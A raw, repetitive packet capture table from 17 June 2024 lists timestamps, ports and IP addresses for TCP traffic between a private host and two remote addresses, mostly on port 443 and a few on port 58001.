Jun 17, 2024 16:19:05.025710106 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.025728941 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.025948048 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.025993109 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.026006937 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.026012897 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.026102066 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.029942036 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.029983997 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.030013084 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.030018091 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.030042887 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.030061960 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.030289888 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.030337095 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.030350924 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.030356884 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.030409098 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.031028986 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.031069994 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.031092882 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.031097889 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.031122923 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.031140089 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.031600952 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.031642914 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.031663895 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.031668901 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.031701088 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.031713963 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.031775951 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.031821012 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.031841993 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.031847000 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.031872034 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.031888008 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.032007933 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.032048941 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.032068014 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.032072067 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.032095909 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.032118082 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.032224894 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.032267094 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.032285929 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.032290936 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.032321930 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.032335043 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.032888889 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.032931089 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.032973051 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.032978058 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.032988071 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.033019066 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.033144951 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.033191919 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.033210039 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.033216000 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.033246040 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.033257961 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.033752918 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.033792973 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.033808947 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.033817053 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.033847094 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.033857107 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.052433014 CEST	65279	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:05.057292938 CEST	58001	65279	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:05.057365894 CEST	65279	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:05.058303118 CEST	65279	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:05.063262939 CEST	58001	65279	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:05.063302994 CEST	65279	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:05.068073988 CEST	58001	65279	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:05.142847061 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.142919064 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.142963886 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.142970085 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143016100 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143174887 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143220901 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143246889 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143251896 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143277884 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143299103 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143353939 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143398046 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143419027 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143424034 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143454075 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143466949 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143603086 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143649101 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143668890 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143680096 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143703938 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143718958 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143806934 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143852949 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143874884 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143879890 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.143908024 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143922091 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.143990993 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.144035101 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.144047022 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.144064903 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.144088984 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.144108057 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.144181013 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.144228935 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.144242048 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.144253016 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.144292116 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.144309998 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.146219969 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.146270037 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.146327972 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.146332979 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.146384001 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.146678925 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.146728039 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.146753073 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.146758080 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.146787882 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.146806955 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.146858931 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.146902084 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.146915913 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.146925926 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.146958113 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.146970987 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147059917 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147100925 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147116899 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147121906 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147160053 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147222042 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147269964 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147289038 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147294044 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147324085 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147378922 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147394896 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147399902 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147433996 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147444963 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147459984 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147490978 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147505999 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147649050 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147690058 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147722960 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147727966 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147756100 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147773981 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147794008 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147845984 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147861004 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147870064 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.147903919 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.147923946 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.148180008 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.148227930 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.148250103 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.148255110 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.148283005 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.148296118 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.152836084 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.152877092 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.152925968 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.152930975 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.152951956 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.152971983 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153029919 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153079987 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153095961 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153101921 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153131962 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153151989 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153239012 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153285980 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153321028 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153326035 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153359890 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153373003 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153441906 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153482914 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153498888 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153503895 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153542995 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153640985 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153683901 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153701067 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153707027 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153734922 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153753996 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153855085 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153897047 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153919935 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153923988 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.153950930 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.153964043 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154052019 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154098988 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154110909 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154123068 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154154062 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154172897 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154267073 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154306889 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154333115 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154336929 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154355049 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154380083 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154455900 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154510021 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154525995 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154535055 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154567003 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154589891 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154669046 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154675007 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154721975 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154735088 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154745102 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154776096 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154788971 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154860020 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154901028 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154906988 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154912949 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154923916 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.154956102 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.154970884 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.155056000 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.189707994 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.189775944 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.189790010 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.189809084 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.189832926 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.189850092 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.258785009 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.258865118 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.258889914 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.258904934 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.258934975 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.258954048 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.259375095 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.259421110 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.259440899 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.259447098 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.259485006 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.259505033 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.259532928 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.259584904 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.259596109 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.259615898 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.259638071 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.259668112 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.259826899 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.259882927 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.259902954 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.259907961 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.259939909 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.259959936 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.260555029 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.260572910 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.260624886 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.260632038 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.260675907 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.260732889 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.260754108 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.260792971 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.260797977 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.260828972 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.260847092 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.260888100 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.260906935 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.260941029 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.260946989 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.260972977 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.260994911 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.261106968 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261131048 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261164904 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.261171103 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261197090 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.261213064 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.261364937 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261383057 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261432886 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.261437893 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261476040 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.261495113 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261516094 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261565924 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.261571884 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261609077 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.261624098 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261642933 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261689901 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.261694908 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261732101 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.261864901 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261888027 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261941910 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.261944056 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261955023 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261961937 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.261974096 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.261996984 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.262002945 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.262027979 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.262036085 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.262186050 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.262202024 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.262248039 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.262254000 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.262271881 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.262294054 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.262456894 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.262475014 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.262521029 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.262526035 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.262552023 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.262571096 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.262573957 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.262586117 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.262608051 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.262639046 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.263622999 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.263638020 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.263683081 CEST	65277	443	192.168.2.4	188.114.96.3
